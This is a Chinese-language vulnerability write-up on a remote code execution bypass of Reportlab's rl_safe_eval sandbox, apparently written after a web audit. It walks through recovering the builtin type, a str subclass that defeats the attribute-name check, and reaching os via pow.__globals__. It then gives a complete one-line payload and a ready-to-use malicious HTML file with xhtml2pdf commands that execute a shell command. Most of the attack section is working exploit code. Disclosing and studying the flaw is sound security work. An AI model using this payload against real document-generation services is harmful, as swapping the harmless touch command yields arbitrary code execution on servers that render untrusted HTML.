tl;dr 本文详细介绍了如何在 Reportlab 中发现并利用一个 RCE 漏洞。由于 Reportlab 在 HTML 转 PDF 处理中的普遍使用,该漏洞可能影响许多处理 PDF 文件的应用程序,因此这是一个需要重点修复和关注的重要漏洞。
几天前,在一次 Web 应用审计中,我们注意到该应用使用 Reportlab Python 库根据 HTML 输入动态生成 PDF 文件。我们发现 Reportlab 存在一个此前已被修补的漏洞,可导致代码执行。这意味着,从攻击者的角度来看,找到该补丁的绕过方式非常有价值,因为这将重新实现代码执行,尤其是 Reportlab 库也被其他应用程序和工具使用。
首先,快速回顾一下:Reportlab 是一个开源项目,允许使用 Python 编程语言创建 Adobe 便携式文档格式(PDF)的文档。它还可以创建各种位图和矢量格式的图表和数据图形,以及 PDF。
该库在 2019 年曾出现过类似的漏洞,可通过 HTML 标签的 Color 属性导致远程代码执行:该属性的内容直接使用 eval 函数作为 Python 表达式进行求值,从而导致代码执行。为了缓解此问题,Reportlab 实现了一个名为 rl_safe_eval 的沙箱,它移除了所有 Python 内置函数,并重写了多个内置函数,以允许库的安全代码执行,同时阻止任何对危险函数和库的访问,这些危险函数和库随后可能被用来构造危险的 Python 代码:
class __RL_SAFE_ENV__(object):
__time_time__ = time.time
__weakref_ref__ = weakref.ref
__slicetype__ = type(slice(0))
def __init__(self, timeout=None, allowed_magic_methods=None):
self.timeout = timeout if timeout is not None else self.__rl_tmax__
self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
else allowed_magic_methods) if allowed_magic_methods else []
#[...]
# IN THIS LINE IT CAN BE OBSERVED THAT THE BUILTIN GETATR IS REPLACED WITH A CUSTOM FUNCTION
# THAT CHECKS THE SAFETY OF THE PASSED ATTRIBUTE NAME BEFORE GETTING IT
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
#[...]
def __rl_getattr__(self, obj, a, *args):
if isinstance(obj, strTypes) and a=='format':
raise BadCode('%s.format is not implemented' % type(obj))
# MULTIPLE CHECKS ARE DONE BEFORE FETCHING THE ATTRIBUTE AND RETURNING IT
# TO THE CALLER IN THE SANDBOXED EVAL ENVIRONMENT
self.__rl_is_allowed_name__(a)
return getattr(obj,a,*args)
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
# NO ACCESS TO ATTRIBUTES STARTING WITH __ OR MATCH A PREDEFINED UNSAFE ATTRIBUTES NAMES
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
如前所述,安全 eval 会从环境中清除所有危险函数,使被执行的代码无法访问可用于执行恶意操作的危险工具。然而,如果能找到绕过这些限制的方法,并重新获得对某个原始内置函数的访问权限,将极大地促进对沙箱环境的利用。
被重写的众多内置类中有一个叫做 type。如果以单个参数调用这个类,它会返回对象的类型;但如果以三个参数调用,它会返回一个新的类型对象。这本质上是 class 语句的动态形式。换句话说,它可以允许创建一个继承自另一个类的新类。
因此,这里的思路是创建一个名为 Word 的新类,它继承自 str,当它被传递给自定义的 getattr 时,可以绕过检查并允许访问诸如 __code__ 之类的敏感属性。
在沙箱 eval 中的自定义 getattr 返回属性之前,它会通过调用 __rl_is_allowed_name__ 进行一些检查,以验证所请求属性的安全性,然后才调用 Python 内置的 getattr 并返回结果。
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
要绕过 __rl_is_allowed_name__ 函数,Word 类应该:
startswith 的调用始终返回 False,以绕过 (name.startswith('__')__eq__ 调用返回 False,以绕过 name in __rl_unsafe__;在第一次调用之后,应返回正确的结果,因为当 Python 内置 getattr 调用 __eq__ 时,它需要返回正确的结果。以下类满足这些条件:
Word = type('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
code = Word('__code__')
print(code == '__code__') ## prints False
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code.startswith('__')) ## prints False
安全 eval 中的自定义 type 函数不允许传入三个参数:
def __rl_type__(self,*args):
if len(args)==1: return type(*args)
raise BadCode('type call error')
通过让 type 调用自身可以绕过此限制,从而取回原始的内置 type 函数:
orgTypeFun = type(type(1))
将这两行代码组合起来,就会得到类似这样的结果:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
最初的利用代码存在多个缺陷,导致它只能在 Python 3.10 上利用。为了解决这些问题,我们采用了一种新方法来访问 os Python 模块。
Reportlab 库重写了多个内置函数的实现,并将它们作为全局变量注入 eval 上下文。
rl_safe_eval.py 中自定义函数覆盖默认内置函数的示例:
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
__rl_builtins__['iter'] = self.__rl_getiter__
__rl_builtins__['pow'] = self.__rl_pow__
__rl_builtins__['list'] = self.__rl_list__
__rl_builtins__['type'] = self.__rl_type__
__rl_builtins__['max'] = self.__rl_max__
由于这些函数是在全局上下文中构造的,因此可以通过这些自定义函数的 __globals__ 属性访问全局变量和模块。
以下代码应在 eval 上下文中执行
globalOsModule = pow.__globals__['os']
globalOsModule.system('touch /tmp/exploited')
剩下的就是编写利用代码了:
为此,我们将从一个已编译函数的字节码中重构一个函数:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self))
})
globalsattr = Word('__globals__')
glbs = getattr(pow,globalsattr)
glbs['os'].system('touch /tmp/exploited')
然而,像这样的多行表达式无法在 eval 上下文中执行。为了绕过这个问题,可以使用 list comprehension 技巧,例如:
[print(x) for x in ['hellworld']]
# which would be equivalent to
x='helloworld'
print(x)
[[ print (x + ' ' + y) for y in ['second var']] for x in ['first var']]
# which would be equivalent to
x='first var'
x='second var'
print (x + ' ' + y)
利用这一技术,可以利用代码改写为单行代码(这被视为一行,x)这里的多行只是为了提高利用代码的可读性而进行的格式化,声明应自下而上阅读 x)虽然奇怪,但就是这样运作的):
[
[
getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')
for Word in [
orgTypeFun(
'Word',
(str,),
{
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self, x: self.mutate()
and self.mutated < 0
and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self)),
},
)
]
]
for orgTypeFun in [type(type(1))]
]
请参阅 poc.py,其中包含概念验证代码,演示了代码执行(成功利用后,会在 /tmp/ 目录下创建一个名为 exploited 的文件)。
许多应用程序和库都使用 Reportlab 库,例如 xhtml2pdf 工具函数就存在漏洞,在将恶意 HTML 转换为 PDF 时可能会遭受代码执行攻击。
cat >mallicious.html <<EOF
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
EOF
xhtml2pdf mallicious.html
ls -al /tmp/exploited
我要感谢 Matthias Weckbecker 的合作,以及与他就原始利用代码的缺陷进行的精彩交流。现在,该利用代码可以在所有 Python 3 版本上无缝运行 :D